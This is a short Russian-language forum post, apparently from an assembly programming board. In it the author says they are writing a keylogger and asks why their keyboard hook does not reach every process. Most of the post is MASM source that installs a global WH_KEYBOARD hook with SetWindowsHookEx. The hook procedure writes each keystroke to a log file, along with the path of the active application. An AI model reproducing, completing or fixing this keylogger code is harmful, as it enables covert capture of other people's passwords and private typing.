Пишу keylogger. Ставлю хук : Код (Text): StartLog PROC invoke SetWindowsHookEx, WH_KEYBOARD, addr KeyboardHookProc, Inst, NULL mov HookHandle, eax ret StartLog ENDP хуковская процедура (szCurAppNm - путь к текущей апликухе ;szCurApp - путь к прошлой апликухе) : Код (Text): KeyboardHookProc PROC nCode:DWORD, wParam:WPARAM, lParam:LPARAM .IF (nCode == HC_ACTION) && (wParam != 0) mov eax, lParam shr eax, 16 .IF (ax & KF_UP || ax & KF_REPEAT) invoke FindFirstFile, addr szFName, addr FindData .IF eax == INVALID_HANDLE_VALUE invoke FindClose, eax invoke CreateFile, addr szFName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 invoke CloseHandle, eax .ENDIF invoke CreateFile, addr szFName, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 mov FHandle, eax invoke SetFilePointer, FHandle, 0, NULL, FILE_END invoke GetModuleHandle, NULL invoke GetModuleFileNameA, eax, addr szCurAppNm, 300 invoke lstrcmpi, addr szCurAppNm, addr szCurApp cmp eax, 0 jz AppNmSm invoke lstrcpy, addr szCurApp, addr szCurAppNm invoke wsprintf, addr szFBuf, addr szHeader, addr szCurAppNm invoke lstrlen, addr szFBuf invoke WriteFile, FHandle, addr szFBuf, eax, addr BytesWritten, 0 AppNmSm: invoke WriteFile, FHandle, addr wParam, 1, addr BytesWritten, 0 invoke CloseHandle, FHandle .ENDIF .ENDIF invoke CallNextHookEx, HookHandle, nCode, wParam, lParam ret KeyboardHookProc ENDP Но почему то , мой хук вклиниваеться не во все процессы ...